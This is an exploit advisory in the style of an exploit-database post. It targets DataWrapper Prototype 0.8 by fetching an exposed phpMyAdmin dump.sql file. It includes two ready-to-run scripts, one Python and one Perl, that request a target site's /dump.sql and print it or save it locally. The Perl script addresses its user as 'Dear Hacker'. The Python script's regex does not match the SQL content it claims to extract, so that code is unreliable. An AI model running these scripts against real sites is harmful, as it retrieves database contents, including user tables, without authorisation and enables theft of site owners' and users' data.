###########################################################################

# Exploit Title : DataWrapper ProtoType 0.8 Database Disclosure Exploit
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/04/2019
# Vendor Homepage : datawrapper.de
# Software Download Link : github.com/datawrapper/datawrapper-prototype/archive/master.zip
# Software Information Link : github.com/datawrapper/datawrapper-prototype
# Software Version : 0.8 and 0.8.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Information Link about => phpMyAdmin SQL dump Web Vulnerability
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/

###########################################################################

# Description about Software :
***************************
Datawrapper is a tool that enables to create enticing visualizations  in seconds, without any 

programming skills. It draws inspiration from ManyEyes and GoogleCharts but remains entirely 

open-source and independent from a third-party server. Any developper can add a visualization 

type, using (or not) a JavaScript library like D3 or Raphael, and a specific theme.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

Installation :
***********
To install Datawrapper on your server, download all files from GitHub 
or do a 'git pull'. Create the appropriate tables in your database using the .sql dump. 
Then create a file with your database passwords to be stored in 
/actions/passwords.prod.php under the form

//DB credentials
define("DW_HOST", "your_db_hostname");
define("DW_DATABASE", "your_db_name");
define("DW_USERNAME", "your_db_username");
define("DW_PASSWORD", "your_db_password");

//To be used in Amazon Simple Email Service
//If none is defined, the server uses PHP mail() function instead
define("AWS_SECRET", "your_aws_secret");
define("AWS_ACCESS_KEY", "your_aws_key");

//gets the base URL to use in the app
define("BASE_DIR", "your_app_URL");

//Piwik analytics
define("PIWIK_PATH", "path_to_your_piwik_server");

###########################################################################

File :
*****
/datawrapper-prototype/dump.sql

/dump.sql

Information :
************
-- phpMyAdmin SQL Dump
-- version 3.4.5
-- phpmyadmin.net
--
-- Client: localhost
-- Version du serveur: 5.1.36
-- Version de PHP: 5.3.0

Base de données: `datastory`

-- Structure de la table `charts`

-- Structure de la table `users`

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/dump.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('DataWrapper ProtoType 0.8 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="dump.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/dump.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/dump.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################